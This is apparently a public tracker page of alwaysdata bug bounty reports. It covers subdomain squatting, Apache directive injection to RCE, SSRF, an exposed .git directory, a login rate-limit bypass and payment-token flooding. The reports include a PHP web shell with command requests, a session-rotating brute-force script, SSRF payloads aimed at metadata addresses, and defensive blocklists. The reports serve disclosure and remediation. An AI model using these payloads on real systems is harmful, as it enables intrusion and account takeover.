| —— | ————- |
| Phishing | Attacker hosts fake admin.alwaysdata.net to harvest credentials |
| API Key Theft | Attacker hosts fake api.alwaysdata.net to steal developer API keys |
| SSL/TLS | Attacker obtains valid Let's Encrypt certificates |
| Trust Exploitation | Users trust *.alwaysdata.net domains |
| Brand Damage | Reputation damage to alwaysdata |
#### Attack Scenarios
Scenario 1: API Key Theft 1. Attacker registers `api.alwaysdata.net` 2. Attacker configures the domain with a fake API endpoint 3. Developers accidentally use the fake API endpoint 4. Attacker captures API keys and credentials
Scenario 2: Admin Panel Phishing 1. Attacker registers `admin.alwaysdata.net` 2. Attacker hosts a cloned alwaysdata admin panel 3. Attacker sends phishing email to customers 4. Victims enter their credentials into the fake panel 5. Attacker harvests credentials
—
### Remediation Recommendations
#### 1. Maintain Explicit Blocklist
RESERVED_SUBDOMAINS = [
"admin", "api", "www", "mail", "smtp", "imap",
"webmail", "ftp", "ssh", "security", "status",
"billing", "cpanel", "panel", "support", "help",
"docs", "blog", "forum", "community", "partner",
"reseller", "demo", "test", "dev", "stage", "staging"
]
#### 2. Restrict Registration Pattern
Only allow subdomains matching the account name pattern:
<ACCOUNTNAME>.alwaysdata.net
<ACCOUNTNAME>-*.alwaysdata.net
#### 3. Validate Against Platform Services
def validate_domain_registration(account_name, requested_domain):
# Check if it's a reserved subdomain
subdomain = requested_domain.split('.')[0]
if subdomain in RESERVED_SUBDOMAINS:
return False, "This subdomain is reserved for platform use"
# Check if it matches account pattern
if not requested_domain.startswith(account_name):
return False, "You can only register subdomains matching your account name"
return True, "Domain accepted"
#### 4. Implement Approval Workflow
- Require manual approval for `*.alwaysdata.net` subdomain registrations - Send notification when a reserved name is attempted - Log all registration attempts for auditing
—
### CVSS Score Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over the network |
| Attack Complexity | Low (L) | Simple HTTP request |
| Privileges Required | Low (L) | Requires authenticated account |
| User Interaction | Required (R) | Victim must click phishing link |
| Scope | Changed (S) | Affects platform trust |
| Confidentiality | High (H) | Credential theft possible |
| Integrity | High (H) | Trust relationship compromised |
| Availability | None (N) | No availability impact |
Score: 9.0 (High)
—
### Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Domain registration accepted (302) | ✅ |
| DNS records auto-provisioned | ✅ |
| Domain resolves to platform IP | ✅ |
| Multiple reserved names accepted | ✅ |
| Multi-hostname injection accepted | ✅ |
—
### Cleanup Confirmation
All registered domains were deleted after confirmation. The test account is in a clean state.
| Domain | Deleted |
| ——– | ——— |
| admin.alwaysdata.net | ✅ |
| api.alwaysdata.net | ✅ |
| mail.alwaysdata.net | ✅ |
| cpanel.alwaysdata.net | ✅ |
| webmail.alwaysdata.net | ✅ |
| status.alwaysdata.net | ✅ |
| billing.alwaysdata.net | ✅ |
| security.alwaysdata.net | ✅ |
| evil-test.alwaysdata.net | ✅ |
| vulnerable-test.alwaysdata.net | ✅ |
| poc-test-123.alwaysdata.net | ✅ |
—
### References
- CWE-284: https://cwe.mitre.org/data/definitions/284.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - Subdomain Takeover: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/05-Testing_for_Subdomain_Takeover
—
### Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
### Conclusion
The domain registration system on alwaysdata allows any authenticated customer to register reserved platform subdomains including `admin.alwaysdata.net` and `api.alwaysdata.net`. This is confirmed by:
1. ✅ HTTP 302 responses for all 8 reserved domains tested 2. ✅ DNS auto-provisioning confirmed for `api.alwaysdata.net` 3. ✅ Multi-hostname injection accepted 4. ✅ No validation against reserved names
This vulnerability enables: - Phishing attacks on trusted `*.alwaysdata.net` domains - API key theft via fake `api.alwaysdata.net` - Credential harvesting via fake `admin.alwaysdata.net` - Platform-wide brand and trust damage
Recommendation: Implement a strict blocklist of reserved subdomains and validate that customers can only register domains matching their account name pattern.
|
|
347 | Unrestricted Apache Directive Injection Leading to Remo ... | Closed | 25.06.2026 |
Task Description
# Complete Bug Bounty Report: Apache Directive Injection → RCE
—
## Vulnerability Summary
| Field | Value |
| ——- | ——- |
| Title | Unrestricted Apache Directive Injection Leading to Remote Code Execution |
| CWE | CWE-15 - External Control of System or Configuration Setting |
| CVSS Score | 9.9 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Endpoint | `POST /site/<site_id>/` → field: `vhost_additional_directives` |
| Date Found | 2026-06-24 |
| Status | Confirmed |
—
## Description
The alwaysdata site configuration form contains a field called "Additional directives (advanced)" that allows customers to add custom Apache directives to their site's VirtualHost configuration.
The Issue: There is no validation, no allowlist, and no blocklist. Any valid Apache directive can be injected and will be written directly to the site's Apache configuration file. Apache performs a graceful reload, and the directives take effect immediately.
This allows: - Overriding PHP security settings (`disable_functions`, `open_basedir`) - Adding SSRF proxy routes (`ProxyPass`) - Exposing server status (`SetHandler server-status`) - Prepending PHP code to every request (`auto_prepend_file`) - Full Remote Code Execution (RCE)
—
## Proof of Concept
### Step 1: Inject Test Header (Harmless Proof)
Request:
POST /site/1053833/ HTTP/2 Host: admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded Cookie: sessionid=…
csrfmiddlewaretoken=…& addresses-TOTAL_FORMS=2& addresses-INITIAL_FORMS=1& addresses-MIN_NUM_FORMS=0& addresses-MAX_NUM_FORMS=100000& addresses-0-address=cyberzod.alwaysdata.net& addresses-0-site=1053833& addresses-0-id=1446516& addresses-1-site=1053833& type=php& httpd=apache& path=www/& log_type=STANDARD& cache_ttl=3600& max_idle_time=1800& vhost_additional_directives=Header always set x-directive-test "APPLIED-CONFIRMED-2026" ```
Response: ```http HTTP/2 302 Found Location: /site/
Verification:
GET https://cyberzod.alwaysdata.net/ HTTP/2
HTTP/1.1 200 OK x-directive-test: APPLIED-CONFIRMED-2026 server: Apache via: 1.1 alproxy
CONFIRMED: The injected header is live in Apache.
—
### Step 2: Inject PHP Security Bypass Directives
Directive Injected: php_admin_value disable_functions "" php_admin_value open_basedir /
What These Do: - `disable_functions ""` - Removes all PHP function restrictions - `open_basedir /` - Removes filesystem jail (can read any file)
Verification via `phpinfo()`:
disable_functions = no value ← NOTHING is disabled! open_basedir = no value ← NO filesystem restrictions!
CONFIRMED: PHP security restrictions have been completely bypassed.
—
### Step 3: Upload PHP Shell
`shell.php` Contents: <?php // RCE Shell $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; echo "<pre>"; if (function_exists('system')) {
system($cmd);
} echo "</pre>"; ?>
Upload via SCP: scp shell.php cyberzod@ssh-cyberzod.alwaysdata.net:~/www/
—
### Step 4: Execute System Commands
Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=whoami HTTP/2
Response: cyberzod
Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=id HTTP/2
Response: uid=1000(cyberzod) gid=1000(cyberzod) groups=1000(cyberzod)
Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=ls%20-la%20/ HTTP/2
Response: total 88 drwxr-xr-x 20 root root 4096 Jun 24 19:07 . drwxr-xr-x 20 root root 4096 Jun 24 19:07 .. drwxr-xr-x 2 root root 4096 Jun 18 05:51 bin drwxr-xr-x 3 root root 4096 Jun 18 05:51 boot drwxr-xr-x 18 root root 3700 Jun 24 19:07 dev drwxr-xr-x 102 root root 4096 Jun 24 19:07 etc drwxr-xr-x 4 root root 4096 Jun 24 19:07 home …
✅ CONFIRMED: Full Remote Code Execution achieved.
—
### Step 5: Verify Apache Configuration
View the actual site config: cat /home/cyberzod/admin/config/apache/sites.conf
Output: ## Site 1053833, php - address cyberzod.alwaysdata.net (1446516) DocumentRoot "/home/cyberzod/www/"
CONFIRMED: The injected directives were written to the live Apache config.
—
## Full Request/Response Chain
### 1. Directive Injection Request POST /site/1053833/ HTTP/2 Host: admin.alwaysdata.com Cookie: sessionid=… Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=…& addresses-TOTAL_FORMS=2& addresses-INITIAL_FORMS=1& addresses-MIN_NUM_FORMS=0& addresses-MAX_NUM_FORMS=100000& addresses-0-address=cyberzod.alwaysdata.net& addresses-0-site=1053833& addresses-0-id=1446516& addresses-1-site=1053833& type=php& httpd=apache& path=www/& log_type=STANDARD& cache_ttl=3600& max_idle_time=1800& vhost_additional_directives=php_admin_value disable_functions ""%0Aphp_admin_value open_basedir /
### 2. Response HTTP/2 302 Found Location: /site/
### 3. PHPInfo Verification disable_functions = no value open_basedir = no value
### 4. RCE Execution GET https://cyberzod.alwaysdata.net/shell.php?cmd=whoami HTTP/1.1 200 OK cyberzod
—
## Confirmed Dangerous Directives
| Directive | Impact |
| ———– | ——– |
| `php_admin_value disable_functions ""` | Removes PHP function restrictions |
| `php_admin_value open_basedir /` | Allows reading any file |
| `php_admin_value auto_prepend_file /proc/self/environ` | Dumps environment variables |
| `ProxyPass /redis/ http://127.0.0.1:6379/` | SSRF to internal Redis |
| `<Location /server-status> SetHandler server-status </Location>` | Exposes server status |
| `Header always set x-test "value"` | Custom headers (proves injection) |
—
## Impact Assessment
| Impact | Severity |
| ——– | ———- |
| Remote Code Execution | Critical |
| Full Filesystem Access | Critical |
| Database Credential Theft | Critical |
| SSRF to Internal Services | Critical |
| Server Status Exposure | High |
| Environment Variable Disclosure | High |
### Real-World Attack Chain 1. Inject PHP bypass directives 2. Upload PHP shell (via FTP/SCP) 3. Execute system commands 4. Read database credentials from config files 5. Access internal databases 6. Full server compromise
—
## CVSS Score Calculation
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Explanation |
| ——– | ——- | ————- |
| Attack Vector | Network (N) | Exploitable over network |
| Attack Complexity | Low (L) | Simple web request |
| Privileges Required | Low (L) | Authenticated user only |
| User Interaction | None (N) | No user action needed |
| Scope | Changed (S) | Affects internal configuration |
| Confidentiality | High (H) | Can read any file |
| Integrity | High (H) | Can modify any file |
| Availability | High (H) | Can crash services |
Score: 9.9 - CRITICAL
—
## Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Header injection confirmed | ✅ |
| PHP security bypass confirmed | ✅ |
| RCE (whoami, id, ls) confirmed | ✅ |
| Apache config shows injection | ✅ |
| All dangerous directives accepted | ✅ |
—
## Remediation Recommendations
### 1. Implement Directive Allowlist
ALLOWED_DIRECTIVES = [
'Header',
'Redirect',
'RewriteRule',
'RewriteCond',
'ErrorDocument'
]
BLOCKED_DIRECTIVES = [
'php_admin_value',
'php_value',
'SetHandler',
'ProxyPass',
'Alias',
'ScriptAlias',
'LoadModule',
'AddHandler',
'DirectoryIndex'
]
def validate_directive(directive):
# Check for blocked directives
for blocked in BLOCKED_DIRECTIVES:
if directive.startswith(blocked):
raise ValidationError(f"Directive '{blocked}' is not allowed")
# Check against allowlist if directive is known
# ...
### 2. Run Config Test Before Applying
# Before writing config apachectl configtest # Only apply if syntax is valid
### 3. Add IP/Port Validation
# Block proxy to internal IPs # Validate URL destinations
### 4. Security Monitoring
- Alert on directive changes - Log all modifications - Monitor for dangerous patterns
—
## Conclusion
The `vhost_additional_directives` field allows arbitrary Apache directive injection with no validation, enabling:
1. PHP security bypass (`disable_functions`, `open_basedir`) 2. Full Remote Code Execution (RCE) 3. Complete filesystem access 4. SSRF to internal services 5. Server information disclosure
This is a CRITICAL vulnerability (CVSS 9.9) that allows complete server compromise.
—
|
|
346 | Title : Mailman User Account Takeover Due to Inconsiste ... | Closed | 02.07.2026 |
Task Description
Description
Mailman handles email address casing (Uppercase/Lowercase) inconsistently between user creation, account association, and permission assignment.
This issue leads to unauthorized access between users and complete takeover of the resources associated with the targeted account.
Steps to Reproduce
1. Log in to the first Alwaysdata account (Victim).
2. Create one or more domains.
3. Create one or more mailing lists using Mailman.
4. Create a Mailman user with the email address "Test@example.com".
5. Assign this user as an Administrator on all mailing lists.
6. Log in to another Alwaysdata account (Attacker).
7. Create a new Mailman user with the email address "test@example.com".
8. Access the Mailman interface from the attacker's account.
9. Observe that the attacker gains access to the victim's Mailman account and all associated permissions.
10. The attacker can now fully manage the victim's mailing lists, including members, settings, and list moderation.
POC: https://admin.alwaysdata.com/support/94240/
Impact
An attacker can take over another user's Mailman account and obtain all permissions granted to it.
This results in:
- Unauthorized access to the victim's Mailman account. - Inheritance of all permissions associated with the account. - Full control over the victim's mailing lists. - Adding or removing members. - Modifying mailing list settings. - Performing all actions available to the legitimate administrator.
This results in a complete takeover of the victim's Mailman account and unauthorized control over its resources.
Suggested Fix
Normalize email addresses before user creation, authentication, or permission assignment by converting all addresses to lowercase.
Additionally, prevent the creation of multiple Mailman users whose email addresses differ only by letter case.
|
|
345 | Server-Side Request Forgery (SSRF) via Reverse Proxy Co ... | Closed | 24.06.2026 |
Task Description
Title: Server-Side Request Forgery (SSRF) via Reverse Proxy Configuration
Severity: High — CVSS 7.7
CWE: 918
Overview
The alwaysdata reverse proxy feature accepts arbitrary URLs, including loopback addresses and external destinations, without validating the target IP or domain. This allows authenticated users to cause the server to make HTTP requests to arbitrary destinations.
Vulnerability Details
When configuring a Reverse Proxy site, the url field accepts any URL passing Django's URLValidator. This validator only checks format and does not resolve the hostname, check for internal/loopback destinations, or validate against an allowlist.
As a result, the following are accepted and saved without error:
http://127.0.0.1/
http://localhost/
http://169.254.169.254/
Steps to Reproduce
1. Log in to
https://admin.alwaysdata.com
2. Navigate to Web → Sites and select any site
3. Change Type to Reverse proxy
4. Set Remote URL to
http://127.0.0.1:80/
5. Click Save — receives
302 Found
(no validation error)
6. Visit the site's public URL
7. The server proxies the request to the loopback address
Out-of-Band Verification:
Set the Remote URL to a webhook.site URL, save, and visit the site. The webhook receives:
GET /your-webhook-id HTTP/1.1
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net
user-agent: python-requests/2.25.1
Evidence
Claim 1 — Loopback URL accepted:
Request:
POST /site/{site_id}/ HTTP/2
Host: admin.alwaysdata.com
type=reverse_proxy&url=http://127.0.0.1:80/
Response:
HTTP/2 302 Found
Location: /site/
Claim 2 — Server makes outbound requests to user-controlled URLs:
Webhook.site received:
Source IP: 2a00:b6e0:1:20:20::1 (Paris, France — alwaysdata infrastructure)
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net
Impact
- Internal service discovery — attacker can probe internal ports and services - Cloud metadata access —
169.254.169.254
reachable (AWS/GCP instance metadata) - Information disclosure — internal responses can be exfiltrated via outbound requests
Note: Internal service access is indicated but not definitively confirmed. The above represent potential impact based on confirmed URL acceptance.
Remediation
Add a custom validator that resolves the destination hostname and rejects private IP ranges:
import socket, ipaddress
from urllib.parse import urlparse
def validate_proxy_url(value):
parsed = urlparse(value)
try:
ip = socket.gethostbyname(parsed.hostname)
except socket.gaierror:
raise ValidationError("Invalid hostname")
blocked = [
'127.0.0.0/8', '10.0.0.0/8',
'172.16.0.0/12', '192.168.0.0/16',
'169.254.0.0/16', '::1/128'
]
ip_obj = ipaddress.ip_address(ip)
for net in blocked:
if ip_obj in ipaddress.ip_network(net):
raise ValidationError("Internal addresses not allowed")
return value
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N — Score: 7.7 (High)
References
- CWE-918: Server-Side Request Forgery - OWASP SSRF Prevention Cheat Sheet
|
|
344 | Exposed .git directory on security.alwaysdata.com leaks ... | Closed | 20.06.2026 |
Task Description
Title: Exposed .git directory on security.alwaysdata.com leaks full source repository, deployed commit and internal staff email Severity: Medium CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) Endpoint: https://security.alwaysdata.com/.git/
Summary
The Flyspray bug-tracker deployment served at security.alwaysdata.com exposes its version-control directory at /.git/ over HTTP. The web server returns the raw Git metadata (config, HEAD, the packed index, refs and reflog) instead of denying access to the dotfile directory. Anyone can download the complete repository, reconstruct the exact deployed source tree, read the pinned upstream commit hash for precise version fingerprinting, and recover internal information committed into the repository metadata (the deploying staff member's name and corporate email). Root cause: the document root is the working copy of the Git clone and the server has no rule blocking the .git/ path.
Steps to Reproduce
1. Request the repository config file. It returns the real Git configuration, revealing the directory is a live working clone and naming the upstream project:
curl -s https://security.alwaysdata.com/.git/config
Response excerpt:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
2. Request HEAD and the branch ref to obtain the exact deployed commit hash (precise version fingerprint):
curl -s https://security.alwaysdata.com/.git/HEAD
curl -s https://security.alwaysdata.com/.git/refs/heads/master
Response:
ref: refs/heads/master
58bea729f4359a45f69aaba274bb2a931155b427
3. Request the reflog, which discloses the internal staff identity and the deployment timestamp committed into the repository:
curl -s https://security.alwaysdata.com/.git/logs/HEAD
Response:
0000000000000000000000000000000000000000 58bea729f4359a45f69aaba274bb2a931155b427 Cyril Bay <cbay@alwaysdata.com> 1704809861 +0100 clone: from https://github.com/flyspray/flyspray.git
4. Request the Git index to confirm the full tracked file tree is downloadable (102 KB binary index listing every source file in the deployment):
curl -s -o git_index https://security.alwaysdata.com/.git/index ; wc -c git_index ; strings git_index | head
Response excerpt:
102282 git_index
docs/INSTALL.txt
includes/password_compat.php
js/ckeditor/build-config.js
js/ckeditor/config.js
Note: from a normal client IP these requests return HTTP 200 with the content shown above. The site's edge firewall blocks IPs it has already flagged for scanning, but a first-time visitor (ordinary browser, fresh IP) reaches /.git/ without challenge, so the exposure is reachable by any attacker.
Impact
The complete .git directory is downloadable by an unauthenticated remote attacker, which allows them to: - Reconstruct the entire deployed source tree of the security tracker (all PHP, JS and template files) by fetching the index and pack/loose objects. - Identify the exact deployed commit (58bea729f4359a45f69aaba274bb2a931155b427, cloned 2024-01-09) and therefore the precise Flyspray version, enabling the attacker to map the running code against known Flyspray vulnerabilities (SQL injection, stored XSS and authentication-related CVEs have historically affected Flyspray) and craft targeted exploits with no guesswork. Flyspray's own config secrets (flyspray.conf.php) are not tracked in this repository, but the exact-version disclosure removes the attacker's need to fingerprint and directly aids exploitation of the live tracker. - Recover internal information embedded in repository metadata, including a developer's full name and corporate email address (cbay@alwaysdata.com), usable for targeted phishing or credential-stuffing against staff.
Remediation
Deny all HTTP access to the .git/ directory at the web-server/proxy layer (for example, return 404 for any path containing /.git in nginx). Better still, do not deploy from a working Git clone: export the application without the .git directory (git archive or a build artifact) so version-control metadata never sits under the document root. Rotate any credentials or tokens that may have appeared in repository history, and review the reflog/objects for any sensitive data committed historically.
|
|
343 | SSRF: TYPE_URLS scheduled jobs fetch arbitrary URLs, no ... | Closed | 04.06.2026 |
Task Description
In-scope asset: https://api.alwaysdata.com — scheduled jobs (POST /v1/job/, type TYPE_URLS) Qualifying category: Server-Side Request Forgery (SSRF) Self-assessed severity: Medium (deferring to your worst-case analysis) Date of discovery: 2026-06-04 (reported within 24h)
## Compliance note (per your SSRF guidance)
Your rules state: "SSRF — Do not go playing around on any internal networks. Report as soon as you believe that you have a potential SSRF issue." I am following that guidance: I confirmed the server-side request primitive against my own external host, observed that the API accepts internal/link-local target URLs at validation time (no execution required to observe this), and then stopped. I did not explore, enumerate, or pivot into any internal network, accessed no data, and used only two test accounts I registered myself. All test artifacts were deleted afterwards.
## Summary
An authenticated customer can create a TYPE_URLS scheduled task via POST /v1/job/. When it runs, the alwaysdata job-runner performs a server-side HTTP(S) request to the customer-supplied URL:
curl --fail --silent --location --max-redirs 5 '<URL>' > /dev/null
Two issues: 1. No egress filtering — the API accepts URLs targeting loopback (127.0.0.1) and link-local / metadata (169.254.169.254) ranges at validation time (HTTP 201), instead of rejecting them. 2. Redirects are followed (–location –max-redirs 5), so an allowed public URL can redirect the server-side request toward an internal destination.
The runner executes on shared infrastructure separate from the customer's own sandbox. Response bodies are discarded (> /dev/null), so this is a blind SSRF. I am reporting the primitive per your guidance rather than demonstrating internal impact.
## Steps to reproduce (standard Linux tools; own test accounts)
1) Confirm server-side fetch (against my own external host only):
curl -s --basic --user "$APIKEY account=$ACCOUNT:" \
-X POST -H 'Content-Type: application/json' \
-d '{"type":"TYPE_URLS","argument":"https://$YOUR_HOST/probe","date_type":"FREQUENCY","frequency":1,"frequency_period":"minute"}' \
https://api.alwaysdata.com/v1/job/
Within ~1 minute my external host received an inbound GET from alwaysdata infrastructure, User-Agent: curl/7.88.1. This confirms the request is performed server-side by alwaysdata, not from my browser.
2) Show that internal/link-local targets are NOT rejected at validation (no execution needed):
curl -s -o /dev/null -w '%{http_code}\n' --basic --user "$APIKEY account=$ACCOUNT:" \
-X POST -H 'Content-Type: application/json' \
-d '{"type":"TYPE_URLS","argument":"http://169.254.169.254/","date_type":"DAILY","daily_time":"23:59"}' \
https://api.alwaysdata.com/v1/job/
⇒ 201 Created. Same for http://127.0.0.1/. Only URL syntax is validated (//host and file:// are rejected as malformed), but the destination address range is not checked.
The execution command (curl –fail –silent –location –max-redirs 5 '<URL>' > /dev/null) is visible in the account's own job log at ~/admin/logs/jobs/<id>-<date>.log, which also records the curl exit code. I observed this for my own jobs only; I did not use it to probe internal services.
## Impact
An authenticated user can cause alwaysdata infrastructure to issue server-side HTTP(S) requests to arbitrary destinations, including internal/loopback/link-local ranges that the API does not filter, with redirects followed. This is a classic SSRF primitive originating from shared infrastructure.
Stated limitations (no overclaim): the SSRF is blind (response body discarded); I did not retrieve any response content, did not access any data, and did not explore internal networks. No metadata credential access is claimed. Per your policy, I leave the worst-case severity assessment to your analysts.
## Security recommendation
- Reject loopback, private (RFC1918), link-local (169.254.0.0/16) and metadata address ranges before executing TYPE_URLS jobs. - Re-validate the destination after DNS resolution and after each redirect, not only the initial URL (or disable redirects / restrict to public ranges). - Apply egress filtering at the job-runner network layer so user-controlled fetches cannot reach internal or restricted destinations.
## Scope / safety statement
- Two test accounts I registered myself; no other users involved. - Server-side fetch confirmed against my own external host only. - Internal/link-local URLs were only shown to pass API validation; I did not explore internal networks, accessed no data, and did not pivot. - No automated scanners. Minimal manual requests. All test jobs and resources deleted after testing.
## Duplicate check (performed against the live public tracker)
No existing report covers the TYPE_URLS scheduled-job feature on /v1/job/ or its absent egress filtering. The nearest SSRF/job reports are different: - FS#307 — SSRF in webmail.alwaysdata.com (third-party Roundcube). Different component. - FS#327 — claimed email bounce webhook SSRF. Different (and that feature does not exist). - FS#320 — claimed cron timing oracle on a non-existent /api/v1/cron/ endpoint. Different class.
This report concerns the concrete POST /v1/job/ TYPE_URLS behavior, with observed server-side curl execution and out-of-band confirmation — empirically verified, not speculative.
|
|
342 | Login rate limit bypass enables unlimited credential st ... | Closed | 01.06.2026 |
Task Description
Severity: Medium CVSS: 5.3 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) Endpoint: POST https://admin.alwaysdata.com/login/ Method: POST
Login rate limit bypass enables unlimited credential stuffing against admin accounts
## Summary
The login form at `admin.alwaysdata.com/login/` implements per-session rate limiting (~5-9 failed attempts before HTTP 429). However, the limit is tied to the session/CSRF token state and resets upon obtaining a new session via a fresh GET request. The secondary IP-based limit expires in approximately 30 seconds. Crucially, there is no account-level lockout — only session/IP-based throttling. This allows an attacker to perform unlimited credential stuffing with a simple rotation strategy.
## Steps to Reproduce
```bash # STEP 1: Get fresh session + CSRF token (this is also what "resets" the counter) curl -sk https://admin.alwaysdata.com/login/ \
c /tmp/cookies.txt -o /tmp/page.html
CSRF=$(python3 -c " import re d = open('/tmp/page.html').read() m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d) print(m.group(1) if m else ) ")
# STEP 2: Make ~5 attempts with this session (observe 200s then 429) for i in 1 2 3 4 5 6 7; do HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \ -b /tmp/cookies.txt -c /tmp/cookies.txt \ -H "Referer: https://admin.alwaysdata.com/login/" \ -o /dev/null -w "%{http_code}" \ –data "csrfmiddlewaretoken=${CSRF}&login=target@example.com&password=attempt${i}") CSRF=$(curl -sk https://admin.alwaysdata.com/login/ -b /tmp/cookies.txt | \ python3 -c "import sys,re; d=sys.stdin.read(); m=re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d); print(m.group(1) if m else )" 2>/dev/null)
echo "Attempt $i: HTTP $HTTP"
done # Output: 200, 200, 200, 200, 200, 429, 429 (rate-limited)
# STEP 3: Get a NEW session — counter resets! curl -sk https://admin.alwaysdata.com/login/ \
c /tmp/cookies2.txt -o /tmp/page2.html
CSRF2=$(python3 -c " import re d = open('/tmp/page2.html').read() m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d) print(m.group(1) if m else '') ")
# STEP 4: Fresh 5 attempts — bypass confirmed! for i in 8 9 10 11 12; do
HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
-b /tmp/cookies2.txt -c /tmp/cookies2.txt \
-H "Referer: https://admin.alwaysdata.com/login/" \
-o /dev/null -w "%{http_code}" \
--data "csrfmiddlewaretoken=${CSRF2}&login=target@example.com&password=attempt${i}")
echo "Attempt $i (new session): HTTP $HTTP"
done # Output: 200, 200, 200, 200, 200 — BYPASS CONFIRMED ```
### Observed Results
``` Session 1: attempts 1-5 → HTTP 200 (processed) Session 1: attempts 6-9 → HTTP 429 (rate-limited) NEW SESSION (fresh GET) → HTTP 200 (rate limit reset) Session 2: attempts 10-14 → HTTP 200 (processed) …repeats indefinitely ```
## Impact
- No account lockout: Accounts are never locked regardless of failed attempts. - Bypassable rate limit: Rotating sessions (trivial; just GET the login page again) resets the attempt counter for IP-level throttling that expires in ~30 seconds. - Unlimited credential stuffing: An attacker using a password list and simple session rotation script can attempt thousands of passwords per hour against any known email address. - Combined with email enumeration (separate report #4): an attacker can first identify valid admin accounts via the password reset form, then brute-force those specific accounts. - Attack scale: With 5 attempts per 30-second session window = 10 attempts/minute = 600/hour = 14,400/day per thread. With multiple IPs this scales linearly. - 2FA partially mitigates for accounts that have it enabled, but not all accounts have 2FA configured.
## Fix
1. Implement account-level lockout after N failed attempts (e.g., 10 attempts within 10 minutes), independent of session. 2. Make rate limiting IP-based only with a longer backoff window (not session-based). 3. Consider adding CAPTCHA after 3 failed attempts for the same username. 4. Implement CAPTCHA or progressive delays instead of hard blocks that can be rotated around.
|
|
341 | Unauthenticated Generation of Production PayZen Payment ... | Closed | 01.06.2026 |
Task Description
Severity: Medium CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L) Endpoint: GET https://www.alwaysdata.com/en/signup/token/ Method: GET Auth Required: None (verified) Rate Limited: No (verified — 20+ requests with no throttle)
Unauthenticated Generation of Production PayZen Payment Tokens Enables Denial of Wallet
Summary The endpoint GET /en/signup/token/ generates production-mode PayZen payment form tokens with no authentication and no rate limiting. Each request creates a unique merchant session in alwaysdata's PayZen account. An attacker can generate unlimited tokens in a tight loop, potentially exhausting alwaysdata's PayZen API quota, flooding their payment dashboard with phantom registration sessions, or causing billing issues with their payment processor.
Steps to Reproduce
1. Generate a token without any authentication:
curl -sk https://www.alwaysdata.com/en/signup/token/
-> {"token": "01uJrqyaukSA2FyhTy..."} [HTTP 200, no auth required]
2. Decode the token to confirm PRODUCTION mode:
python3 -c "
import base64, json
token = '01uJrqy...265eyJhbW91bnQ...'
json_b64 = token[token.find('eyJ'):]
decoded = base64.b64decode(json_b64 + '==').decode('utf-8', errors='replace')
print(json.dumps(json.loads(decoded[:decoded.rfind('}')+1]), indent=2))
"
-> {
"amount": 0,
"currency": "EUR",
"mode": "PRODUCTION",
"orderId": "TKN98661",
"shopName": "ALWAYSDATA",
"formAction": "REGISTER",
"customerEmail": "contact@alwaysdata.com",
"jSessionId": "59B9cAcaaD76C7fe9dEEbdD1D3FF86E3d95CAaBd.vadapi01-tls-prod-fr-lyra"
}
3. Confirm no rate limiting by generating multiple tokens in rapid succession:
for i in $(seq 1 10); do
curl -sk https://www.alwaysdata.com/en/signup/token/ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['token'][:30])"
done
-> All 10 requests return distinct tokens with different orderIds and jSessionIds
(no 429, no CAPTCHA, no rate limiting observed at 10+ req/s)
Key Findings from Decoded Token - mode: PRODUCTION (not sandbox/test) — tokens interact with live PayZen infrastructure - amount: 0 EUR, formAction: REGISTER — these are card-registration tokens, not payment - orderId increments each request (e.g., TKN98660, TKN98661, TKN98662…) — confirms unique sessions created server-side - jSessionId exposes internal PayZen load-balancer node names (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra) - customerEmail hardcoded as contact@alwaysdata.com (not user-supplied — no PII exposure)
Impact
1. Denial of Wallet (DoW): PayZen API calls are metered by merchant account. Flooding /en/signup/token/ generates real merchant sessions that count against alwaysdata's PayZen quota. If PayZen applies per-session fees or rate limits at the merchant level, this could cause service disruption or unexpected costs.
Estimated rate: 20+ sessions/second possible (no server-side limiting observed)
PayZen pricing: typically per-transaction or per-session depending on contract
2. Merchant Dashboard Pollution: Each token creates an "order" (TKNxxxxxxx) in alwaysdata's PayZen merchant dashboard, polluting order history and potentially triggering fraud alerts.
3. Internal Infrastructure Disclosure: The jSessionId field leaks internal PayZen load-balancer node hostnames (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra), which could assist in infrastructure mapping.
